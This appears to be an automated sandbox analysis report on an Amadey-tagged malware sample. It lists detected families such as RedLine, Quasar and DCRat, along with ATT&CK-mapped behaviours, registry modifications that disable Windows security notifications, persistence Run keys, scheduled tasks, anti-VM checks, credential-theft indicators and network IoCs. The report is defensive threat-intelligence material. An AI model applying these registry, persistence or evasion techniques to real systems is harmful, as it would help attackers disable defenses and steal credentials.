amadey | 16930620b3b9166e0ffbd98f5d5b580c9919fd6ccdcc74fb996f53577f508267

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysbrapsvc.exe

Process spawned unexpected child process 21 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3184	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1252	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2972	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	912	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1852	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3152	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1560	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1052	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4572	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2700	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2988	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1680	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3748	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1596	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2420	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2408	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2448	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1388	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4340	3312	schtasks.exe	201
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3832	3312	schtasks.exe	201

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000400000002af11-86886.dat	family_quasar

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/memory/4028-36507-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral2/memory/13148-63514-0x0000000000400000-0x0000000000454000-memory.dmp	family_redline

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

resource	yara_rule
behavioral2/memory/1672-30373-0x0000000000400000-0x00000000004D4000-memory.dmp	family_sectoprat

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2816 created 2900	2816	net.exe	49

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysbrapsvc.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000300000002aa62-36586.dat	dcrat
behavioral2/memory/1608-40174-0x00000000003F0000-0x0000000000580000-memory.dmp	dcrat
behavioral2/files/0x000200000002aa78-41465.dat	dcrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	PCHunter64_new.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
108	3620	rundll32.exe
119	1848	tpeinf.exe
128	2960	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1292	powershell.exe
14016	powershell.exe
1884	powershell.exe
3180	powershell.exe
7228	powershell.exe
10140	powershell.exe
2528	powershell.exe
15660	powershell.exe

Contacts a large (781) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Downloads MZ/PE file

Sets file execution options in registry 2 TTPs 4 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\%E5%85%81%E8%AE%B8%E6%B3%A8%E9%94%[email protected]	%E5%85%81%E8%AE%B8%E6%B3%A8%E9%94%[email protected]
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]	%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]
Key deleted	\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]	%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%E5%85%81%E8%AE%B8%E6%B3%A8%E9%94%[email protected]	%E5%85%81%E8%AE%B8%E6%B3%A8%E9%94%[email protected]

Sets service image path in registry 2 TTPs 5 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\weyifpjwwzfmfgq\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\weyifpjwwzfmfgq.sys"	PCHunter64_new.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\iygvaywqvzqwsixs\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\iygvaywqvzqwsixs.sys"	PCHunter64_new.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\fntswrcdiytkprbb\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\fntswrcdiytkprbb.sys"	PCHunter64_new.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PCHunter64_newas\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\PCHunter64_newas.sys"	PCHunter64_new.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PCHunter64_new\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\PCHunter64_new.sys"	PCHunter64_new.exe

.NET Reactor proctector 4 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x000300000002aa47-25757.dat	net_reactor
behavioral2/memory/3572-26096-0x0000000000B20000-0x000000000108C000-memory.dmp	net_reactor
behavioral2/memory/13184-61617-0x00000000025F0000-0x0000000002656000-memory.dmp	net_reactor
behavioral2/memory/13184-61732-0x0000000002670000-0x00000000026D4000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	PCHunter64_new.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	PCHunter64_new.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\retero.exe	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\retero.exe	DllHost.exe

Executes dropped EXE 48 IoCs

pid	Process
4908	svcyr.exe
1592	xchlyg.exe
1852	asdfg.exe
1708	rtx.exe
5048	rtx.exe
4908	svcyr.exe
3748	artifact.exe
1848	BLHisbnd.exe
3660	asdfg.exe
1736	BLHisbnd.exe
2980	Tags.exe
1924	Tags.exe
4844	1bz7KfahvU.exe
3036	net.exe
4260	PCHunter64_new.exe
3084	task.exe
4284	%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]
2820	KB824105-x86-ENU.exe
3572	hv.exe
1048	net.exe
2816	net.exe
3992	Dctooux.exe
1368	Dctooux.exe
4640	net.exe
464	runtime.exe
5044	runtime.exe
4716	runtime.exe
1848	tpeinf.exe
716	cock.exe
3724	SharpHound.exe
3204	ISetup10.exe
4956	207756286.exe
4860	sysbrapsvc.exe
1232	loader.exe
2760	rhsgn_protected.exe
2152	ARA.exe
4144	amad.exe
3996	%E5%85%81%E8%AE%B8%E6%B3%A8%E9%94%[email protected]
3844	%E9%A3%9E%E8%9B%BE%E5%B7%A5%E5%85%B7%E7%AE%B1.exe
4268	298618064.exe
1608	Msblockreview.exe
3564	adm_atu.exe
3520	939226932.exe
3840	rundll32.exe
1500	1678812796.exe
3384	1497336779.exe
4652	1054428042.exe
2460	html.exe

Loads dropped DLL 4 IoCs

pid	Process
3572	hv.exe
3668	rundll32.exe
3620	rundll32.exe
2960	rundll32.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000200000002aa3c-23285.dat	themida
behavioral2/memory/4260-23674-0x0000000140000000-0x000000014118D000-memory.dmp	themida
behavioral2/memory/4260-29072-0x0000000140000000-0x000000014118D000-memory.dmp	themida

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5048-3626-0x0000000000400000-0x0000000000848000-memory.dmp	upx
behavioral2/memory/5048-12117-0x0000000000400000-0x0000000000848000-memory.dmp	upx
behavioral2/files/0x000100000002aa6d-40187.dat	upx
behavioral2/memory/3564-40593-0x0000000000400000-0x000000000041B000-memory.dmp	upx
behavioral2/memory/3564-41548-0x0000000000400000-0x000000000041B000-memory.dmp	upx
behavioral2/files/0x000200000002af05-80372.dat	upx

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	45.155.250.90

Windows security modification 2 TTPs 14 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysbrapsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	939226932.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	939226932.exe

Adds Run key to start application 2 TTPs 8 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000\Software\Microsoft\Windows\CurrentVersion\Run\runtime_2 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\config\\runtime.exe"	1bz7KfahvU.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000\Software\Microsoft\Windows\CurrentVersion\Run\runtime_3 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft\\config\\runtime.exe"	1bz7KfahvU.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysbrapsvc.exe"	207756286.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Service = "C:\\Windows\\winploravr.exe"	939226932.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Service = "C:\\Users\\Admin\\winploravr.exe"	939226932.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000\Software\Microsoft\Windows\CurrentVersion\Run\StarterUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\StarterUpdate.exe"	amad.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\CSRSS = "\"C:\\ProgramData\\Drivers\\csrss.exe\""	rtx.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000\Software\Microsoft\Windows\CurrentVersion\Run\runtime_1 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\config\\runtime.exe"	1bz7KfahvU.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	PCHunter64_new.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 19 IoCs

Web Service

T1102

flow	ioc
1479	sites.google.com
5331	sites.google.com
8277	bitbucket.org
12076	bitbucket.org
45	bitbucket.org
6048	sites.google.com
7101	sites.google.com
11802	raw.githubusercontent.com
16	bitbucket.org
47	pastebin.com
113	raw.githubusercontent.com
3989	sites.google.com
6704	sites.google.com
7308	bitbucket.org
16	raw.githubusercontent.com
83	pastebin.com
835	sites.google.com
1324	sites.google.com
6906	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4312	ipinfo.io
18130	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4260	PCHunter64_new.exe
2760	rhsgn_protected.exe

Suspicious use of SetThreadContext 10 IoCs

description	pid	Process	procid_target
PID 1708 set thread context of 5048	1708	rtx.exe	87
PID 1852 set thread context of 3660	1852	asdfg.exe	91
PID 1848 set thread context of 1736	1848	BLHisbnd.exe	141
PID 2980 set thread context of 1924	2980	Tags.exe	100
PID 1924 set thread context of 3840	1924	Tags.exe	101
PID 3036 set thread context of 2816	3036	net.exe	138
PID 3572 set thread context of 1672	3572	hv.exe	143
PID 1048 set thread context of 4640	1048	net.exe	161
PID 3840 set thread context of 1768	3840	MSBuild.exe	190
PID 716 set thread context of 4028	716	cock.exe	206

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\e1ef82546f0b02	Msblockreview.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\conhost.exe	Msblockreview.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\088424020bedd6	Msblockreview.exe
File created	C:\Program Files\Uninstall Information\sysmon.exe	Msblockreview.exe
File created	C:\Program Files\Uninstall Information\121e5b5079f7c0	Msblockreview.exe
File created	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\SppExtComObj.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Dctooux.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\e126c9bba03107	Msblockreview.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\rundll32.exe	Msblockreview.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\3d4d5fa006b533	Msblockreview.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\xchlyg.exe	svcyr.exe
File created	C:\Windows\sysbrapsvc.exe	207756286.exe
File opened for modification	C:\Windows\winploravr.exe	939226932.exe
File created	C:\Windows\Offline Web Pages\runtime.exe	Msblockreview.exe
File created	C:\Windows\Offline Web Pages\aea1ea39ba0a1d	Msblockreview.exe
File opened for modification	C:\Windows\xchlyg.exe	svcyr.exe
File created	C:\Windows\Tasks\Dctooux.job	task.exe
File opened for modification	C:\Windows\sysbrapsvc.exe	207756286.exe
File created	C:\Windows\winploravr.exe	939226932.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000200000002af13-83094.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 47 IoCs

pid	pid_target	Process	procid_target
2028	3660	WerFault.exe	91
464	3084	WerFault.exe	116
2700	3084	WerFault.exe	116
3136	3084	WerFault.exe	116
392	3084	WerFault.exe	116
3452	3084	WerFault.exe	116
2248	3084	WerFault.exe	116
1736	2816	WerFault.exe	138
5012	3084	WerFault.exe	116
1944	2816	WerFault.exe	138
1052	3084	WerFault.exe	116
4768	3084	WerFault.exe	116
4176	3084	WerFault.exe	116
2132	3992	WerFault.exe	153
1052	3084	WerFault.exe	116
3912	4640	WerFault.exe	161
4588	1368	WerFault.exe	160
2788	1368	WerFault.exe	160
1180	1368	WerFault.exe	160
1684	1368	WerFault.exe	160
3016	1368	WerFault.exe	160
4792	1368	WerFault.exe	160
384	1368	WerFault.exe	160
3620	1368	WerFault.exe	160
4008	1368	WerFault.exe	160
4944	1368	WerFault.exe	160
4668	1368	WerFault.exe	160
760	1368	WerFault.exe	160
4620	1368	WerFault.exe	160
1500	1368	WerFault.exe	160
200	1368	WerFault.exe	160
2444	3204	WerFault.exe	209
244	1368	WerFault.exe	160
10256	1368	WerFault.exe	160
5972	1368	WerFault.exe	160
9440	1368	WerFault.exe	160
13200	13148	WerFault.exe	277
11100	1368	WerFault.exe	160
1924	1368	WerFault.exe	160
8104	1368	WerFault.exe	160
5396	1368	WerFault.exe	160
5968	1368	WerFault.exe	160
11656	10760	WerFault.exe	343
6212	1368	WerFault.exe	160
11832	1368	WerFault.exe	160
9176	1368	WerFault.exe	160
12120	1368	WerFault.exe	160

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000200000002aaa6-64212.dat	nsis_installer_2
behavioral2/files/0x000700000002aa9c-65646.dat	nsis_installer_1
behavioral2/files/0x000700000002aa9c-65646.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	xchlyg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	xchlyg.exe

Creates scheduled task(s) 1 TTPs 28 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

Scheduled Task/Job

pid	Process
2408	schtasks.exe
3152	schtasks.exe
2988	schtasks.exe
1052	schtasks.exe
1848	schtasks.exe
3184	schtasks.exe
1252	schtasks.exe
14864	schtasks.exe
2972	schtasks.exe
3748	schtasks.exe
1596	schtasks.exe
1560	schtasks.exe
2700	schtasks.exe
1680	schtasks.exe
2420	schtasks.exe
3832	schtasks.exe
5240	schtasks.exe
2088	schtasks.exe
4572	schtasks.exe
8664	schtasks.exe
4260	schtasks.exe
10596	schtasks.exe
1388	schtasks.exe
4340	schtasks.exe
912	schtasks.exe
2448	schtasks.exe
1576	schtasks.exe
1852	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
13548	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000_Classes\Local Settings	ARA.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
10212	PING.EXE
8156	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5048	rtx.exe
5048	rtx.exe
5048	rtx.exe
5048	rtx.exe
5048	rtx.exe
5048	rtx.exe
1884	powershell.exe
1884	powershell.exe
1924	Tags.exe
1924	Tags.exe
3180	powershell.exe
3180	powershell.exe
3524	powershell.exe
3524	powershell.exe
4296	powershell.exe
4296	powershell.exe
3280	powershell.exe
3280	powershell.exe
2816	net.exe
2816	net.exe
2132	dialer.exe
2132	dialer.exe
2132	dialer.exe
2132	dialer.exe
1840	powershell.exe
1840	powershell.exe
1840	powershell.exe
3620	rundll32.exe
3620	rundll32.exe
3620	rundll32.exe
3620	rundll32.exe
3620	rundll32.exe
3620	rundll32.exe
3620	rundll32.exe
3620	rundll32.exe
3620	rundll32.exe
3620	rundll32.exe
1292	powershell.exe
1292	powershell.exe
1608	Msblockreview.exe
1608	Msblockreview.exe
3840	rundll32.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe
2460	html.exe

Suspicious behavior: LoadsDriver 32 IoCs

pid	Process
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
5084	pipanel.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3772	4363463463464363463463463.exe
Token: SeDebugPrivilege	1852	asdfg.exe
Token: SeDebugPrivilege	1852	asdfg.exe
Token: SeDebugPrivilege	1848	BLHisbnd.exe
Token: SeDebugPrivilege	1848	BLHisbnd.exe
Token: SeDebugPrivilege	1736	BLHisbnd.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	2980	Tags.exe
Token: SeDebugPrivilege	2980	Tags.exe
Token: SeDebugPrivilege	1924	Tags.exe
Token: SeDebugPrivilege	3840	MSBuild.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	3524	powershell.exe
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeDebugPrivilege	3280	powershell.exe
Token: SeDebugPrivilege	3036	net.exe
Token: SeDebugPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeLoadDriverPrivilege	4260	PCHunter64_new.exe
Token: SeDebugPrivilege	4284	%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]
Token: SeBackupPrivilege	4284	%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]
Token: SeRestorePrivilege	4284	%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]
